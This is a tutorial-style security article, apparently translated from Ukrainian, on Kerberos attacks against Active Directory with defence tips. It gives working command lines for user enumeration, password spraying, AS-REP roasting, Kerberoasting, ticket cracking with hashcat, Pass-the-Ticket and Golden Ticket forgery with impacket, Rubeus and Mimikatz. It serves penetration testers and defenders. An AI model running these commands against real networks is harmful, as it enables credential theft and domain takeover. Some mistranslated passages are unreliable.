Common Kerberos attacks: examples and defense tips (Part 2)

13 January 2025 13 minutes Author: Lady Liberty

We explain how attackers can exploit system vulnerabilities to gain access to accounts, services, and critical data. In particular, we discuss methods that allow you to bypass security mechanisms, pick up passwords offline, or forge access keys. The article also provides recommendations that will help minimize the risks of such attacks, ensuring a higher level of cyber protection for companies and organizations.

  • Disclaimer: We are aware that some photos or articles may contain Russian language captions. But isn’t it great to use their own language against them?

Introduction

There are many known attacks against Active Directory using the Kerberos protocol. Here are some of them:

Elevation of Privilege Attacks:

  1. User Ransomware

  2. Password Spraying / Forging

  3. AS-REQ roasting

  4. AS-REP roasting

  5. Kerberoasting (AnySPN, Targeted Kerberoasting)

Attacks for further advancement:

  1. Pass-the-Key / Overpass-the-hash

  2. Pass-the-Ticket / Pass-the-Cache

Attacks to consolidate:

  1. Silver Ticket

  2. Golden Ticket

  3. Skeleton Key

  4. Diamond Ticket

Next, we will analyze the “classic” attacks from points 1-9. Analysis of the remaining attacks requires the presentation of additional theoretical material and is currently only in plans for the future.

A demonstration of some attacks took place at the TryHackMe booth.

Username selection attack

To carry out the attack, network access to the domain controller is required. If successful, a list of valid names of some domain user accounts can be obtained.

The essence of the method is to use the Kerberos property, which allows you to determine whether an account exists, even if an incorrect password is specified. This is achieved by sending a KRB_AS_REQ message with pre-authentication disabled. The domain controller responds to the request in different ways:

  1. If the account does not exist, the response will be the message “user unknown”.

  2. If the account exists, but pre-authentication is enabled, the controller will require it to be performed.

  3. If the account exists and pre-authentication is disabled, the response will be the message KRB_AS_REP.

A feature of this attack is that unsuccessful attempts to brute force usernames are not recorded in the logs as unsuccessful login events, and the counter of incorrect password attempts is not increased. Thanks to this, the risk of blocking the account is completely absent, which makes the method less noticeable compared to other methods.

Command to carry out the attack:

./kerbrute_linux_amd64 userenum -d $Domain_fqdn $users_list --output $filename

Recommendations for countermeasures:

To track suspicious authentication attempts, you can use traffic analysis or security event management (SIEM) systems. Attackers often obtain usernames from social networks, file metadata, or email addresses. Typically, accounts are created according to a certain pattern: pivanov, ivanov_vp, etc. Therefore, it is advisable to first find out the format of the names, and only then select them. In real-world penetration testing, a list of users can most often be obtained via LDAP, which simplifies the task.

Password Spraying Attack

This method aims to target an account that uses a specific password. Each failed attempt increases the incorrect entry counter. If it reaches a threshold, the account will be locked. Therefore, it is important to know the password policy settings before attacking:

  • Password complexity – the presence of lowercase and uppercase letters, numbers and special characters.

  • Minimum length – usually 7 characters.

  • Lockout threshold – the number of unsuccessful attempts before being locked.

  • Counter reset time – the interval after which unsuccessful attempts are “reset to zero”.

  • Lockout duration – the period during which the account is inaccessible after being locked.

For successful password selection, you should consider the lockout threshold and counter reset time to avoid locking out users during an attack.

Command to carry out the attack:

./kerbrute_linux_amd64 passwordspray -d $Domain_FQDN $users_list $Password

Recommendations for countermeasures:

Implement a strict password policy:

  • Minimum password length: 10 for users, 14 for administrators.

  • Account lockout threshold: 5.

  • Time before reset: 30 minutes.

  • Lockout duration and difficulty: Default.

Disallow the use of previous passwords Add a rule that the new password must differ from the previous ones by at least 3 characters.

Periodically unload NT hashes from NTDS.dit and inventory accounts for the presence of dictionary passwords. A simple dictionary for inventory can be downloaded here.

Use firewalls to restrict access to the KDC for network objects that are not included in the whitelist.

Source: Kerbrute

AS-REQ roasting

Attack conditions:

  • Receiving a KRB_AS_REQ message with pre-authentication enabled

Options for fulfilling the condition:

  • The message can be received as a result of an attack aimed at intercepting network traffic (ARP spoofing, ICMP redirect, fake DHCP server, IPv6 spoofing).

  • Messages can be extracted from a network traffic dump (PCredz)

Result of a successful attack:

  • Access with the rights of the attacked account

From the analysis of the content of the KRB_AS_REQ message with pre-authentication enabled, it is clear that the timestamp is encrypted using the user’s key obtained from the password. Thus, if the specified message is available, it is possible to try to guess the password offline (without interacting with the network on the attacker’s workstation) using a dictionary.

Commands for carrying out an attack in Linux:

Extracting authentication data from a pcap file:

Pcredz -f $filepath

Extracting authentication data from all pcap files in a folder:

Pcredz -d $dir_path

Extracting authentication data when listening on a network interface

Pcredz -i $interface_name -v

Hashcat:

If the timestamp is encrypted using RC4:

hashcat -m 7500 $AS_Req_rc4_hashes $dictionary

In the case of AES256:

hashcat -m 19900 $AS_Req_AES256_hashes $dictionary

Countermeasure recommendation:

  • Implement a strict password policy (дивись раніше)

  • Using the built-in capabilities of telecommunications equipment, implement protection against attacks aimed at intercepting network traffic (DHCP snooping, Dynamic ARP Protection, IP Source Guard, etc.).

  • Use two-factor authentication for privileged accounts.

Personal comment: the attack is not very popular. Джерело

AS-REP roasting

Conditions for attack:

You need to know the name of the account with pre-authentication disabled.

  • Options if the unprivileged domain user does not have rights: You can get the username by relaying the domain controller via LDAP and uploading a list of all users. Then you should try to authenticate without first authenticating each user.

  • Options if the unprivileged user has rights: These rights allow you to use tools like Ldapdomaindump or browse in Bloodhound to get a list of users.

The result of the attack:

After receiving KRB_AS_REP with a session key encrypted using the user’s secret, the attacker can perform offline password guessing using a dictionary.

Implementing the attack in Linux:

If the account does not exist, the attacker sends a KRB_AS_REQ message on behalf of each user from the detected list.

Let’s format it properly:

cat found_users.txt | grep "VALID" | cut -f2 > formated_found_users.txt

Using the resulting file containing a list of valid names, we will conduct an attack:

impacket-GetNPUsers $Domain_FQDN/ -usersfile $users_list -outputfile $file

Contents of the AS_REP_hashes.txt file after executing the queries

Note: Getting the error KRB_AP_ERR_SKEW (Clock skew too great) means that the time on the domain controller and the attacker’s workstation is significantly different. In Kerberos, as discussed earlier, a lot depends on the clock value. Therefore, before repeating the attack, you should synchronize the time using the following command:

ntpdate $DC_IP

Alternatively, if you have domain user rights, you can immediately get a list of accounts with pre-authentication disabled using LDAP and send a KRB_AS_REQ message only on their behalf:

impacket-GetNPUsers $domain_FQDN/$domain_username:$user_pass -request -outputfile $file

Also, if you have user rights, you can collect information for Bloodhound and view active accounts with pre-authentication disabled there:

It is useful to check the access rights of the detected accounts:

In this case, it is clear that one of the accounts with disabled authentication is the domain administrator, which, if there is a dictionary password or no strict password policy for the specified account, is a significant drawback.

Commands to implement the attack in Windows:

There is a useful tool for attacking Kerberos from Windows, Rubeus. It is usually assumed that Rubeus is run in the context of a process with domain user rights, so no authentication data is specified in the arguments.

Rubeus.exe asreproast /outfile:$result_File

Once you have the desired hashes, you can perform offline password recovery using Hashcat:

hashcat -m 18200 $asrep_hashes_file $dict_file

Countermeasure recommendation:

  • Implement a strict password policy

  • Inventory accounts for disabled pre-authentication. For each account identified, consider disabling it.

  • Use firewalls to restrict access to the KDC for network objects that are not whitelisted.

Kerberoasting

Attack condition: unprivileged domain user level rights.

Some options for fulfilling the condition:

  • AS-REP roasting

  • Password extraction or spraying

  • Critical vulnerability exploitation

  • Detect in plain text on a public network folder

  • Offline extraction using NetNTLMv2 hash

The result of a successful attack: access to the rights of the attacked account.

First, the attacker searches for accounts that have an SPN. This is done using LDAP, for example, using the following query:

"(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
  • Note: The above query requires unprivileged domain user level privileges. Searching among accounts of the “computer” class does not make sense because the password for the specified accounts is not dictionary-like.
The attacker sends a KRB_TGS_REQ message with the specified SPN for the accounts that were previously discovered. Since the domain controller does not check the access rights of the compromised accounts to the services, TGS tickets encrypted with the secrets of the corresponding services are sent in response. This allows the attacker to obtain these tickets and try to guess the passwords to the services offline using a dictionary.

Commands for carrying out an attack in Linux:

If necessary, synchronize the time:

ntpdate $DC_IP

We search for all accounts that have SPNs and request TGS for them:

impacket-GetUserSPNs -dc-ip $DC_IP $Domain_FQDN/$username:$password -request -outputfile $file

Commands for carrying out an attack on Windows:

Rubeus.exe kerberoast /outfile:$file

Note: It is also possible to extract TGS tickets and perform offline password recovery by analyzing network traffic using extracttgsrepfrompcap

You can identify service accounts, as well as view the rights they have, using Bloodhound:

Find accounts that have SPNs
Find privileged accounts that have SPNs

Finally, we perform a hash with Hashcat:

hashcat -m 13100 $kerberos_hashes $dictionary
Example of successful offline password recovery
Example of hashcat output

Pass-the-Ticket (PtT) / Pass-the-Cache

Attack condition: availability of TGT or TGS tickets.

Options for fulfilling the condition:

  • Extract tickets from a compromised workstation with administrator rights

  • Extract tickets from a backup copy of the workstation (without administrator rights)

  • Extract tickets from the workstation only for the compromised user (without administrator rights)

  • Generate on your workstation yourself with the appropriate authentication data

Result of a successful attack: further advancement with the rights of the compromised account. Before we begin to analyze the attack, let’s look at how Kerberos tickets are stored in different operating systems.

Linux uses the ccache format (from credential cache) to store Kerberos.

  • in the /tmp directory in files with names like: krb5cc_%{uid}

  • in kernel memory specifically designed for storing keys (kernel keyrings)

  • in user process memory

On Windows, Kerberos tickets are stored in the memory of the lsass process in kirbi format. You can view the tickets available to the current user as follows:

PS C:\Users\Ivan> klist

You can convert tickets to the required format like this:

kirbi -> ccache (Windows -> Linux)

ticketConverter.py $ticket.kirbi $ticket.ccache

ccache -> kirbi (Linux -> Windows)

ticketConverter.py $ticket.ccache $ticket.kirbi

Commands to execute the attack:

У Linux:

export KRB5CCNAME=path_to_ticket.ccache

On Windows using Mimikatz:

kerberos::ptt path_to_ticket.kirbi

In Mimikatz you can also use the ccache format:

kerberos::ptt path_to_ticket.ccache

On Windows using Rubeus:

Rubeus.exe ptt /ticket:"base64 | file.kirbi"

On Linux, to use downloaded tickets in tools that support Kerberos, you need to specify the appropriate keys (typically: -no-pass / -k).

What tools are we talking about? First of all, the utilities included in Impacket, і crackmapexec.

Example:

psexec.py -k $Domain_FQDN/$username@$target

On Windows, after loading into lsass, the ticket will be used by default.

.\PsExec.exe -accepteula \\<target> cmd

PtT + AnySPN

Obviously, the TGT provides more opportunities for further advancement, since the TGS ticket is used to access only a specific service.

This is true, but let’s return to the AnySPN attack. During Pass-the-Key, it is possible to replace the SPN in the TGS ticket and use the modified TGS ticket to access another service belonging to the same account.

Recommendations for countering Pass-the-Ticket:

  • Privileged access will be distributed using Microsoft’s tiered model. Use dedicated accounts with limited privileges to administer non-critical domain objects. Do not use administrative accounts to access non-critical resources.

  • Restrict inbound connections at the firewall of each endpoint, especially for servers.

  • Use Credential Guard to protect the lsass.exe process and prevent credential exfiltration on network objects running Windows.

  • Restrict inbound connections at the firewall of each endpoint.

Literature sources:

Golden Ticket

  • Attack condition: presence of the account key krbtgt. DCsync attack

  • Result of a successful attack: securing access to the compromised domain.

Having the account key krbtgt allows the attacker to generate and modify TGTs at their own discretion. Thus, it is possible to create an arbitrary PAC for any domain user and gain access to the required service with the desired rights on their behalf.

Commands to execute the attack in Linux:

Using RC4 key (NT hash):

ticketer.py -nthash $krbtgtNThash -domain-sid $domainSID -domain $Domain $RandomUser

Using an AES key:

ticketer.py -aesKey $krbtgtAESkey -domain-sid $DomainSID -domain $Domain $RandomUser

With group identifiers:

ticketer.py -nthash $krbtgtNThash -domain-sid $DomainSID -domain $Domain -user-id $UserID -groups $GroupID1,$GroupID2, ... $RandomUser

Commands to perform the attack on Windows:

Using the RC4 key (NT hash) in Mimikatz:

kerberos::golden /domain:$Domain /sid:$DomainSID /rc4:$krbtgt_NThash /user:$RandomUser /ptt

Using AES128 key in Mimikatz:

kerberos::golden /domain:$Domain /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:$RandomUser /ptt

Using AES256 key in Mimikatz:

kerberos::golden /domain:$Domain /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:$RandomUser /ptt

Conclusion

This concludes our review of classic attacks on the Kerberos protocol. We have considered the main aspects, protection tips, and implementation features of these attacks. I hope this material will help you better understand the mechanisms of attacks on Kerberos in the Active Directory environment.

However, no matter how hard we try, we cannot cover all the issues at once. Some important topics, for example, those related to delegation, were left out. Attacks that create the conditions for further attacks on Kerberos were also not described.

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.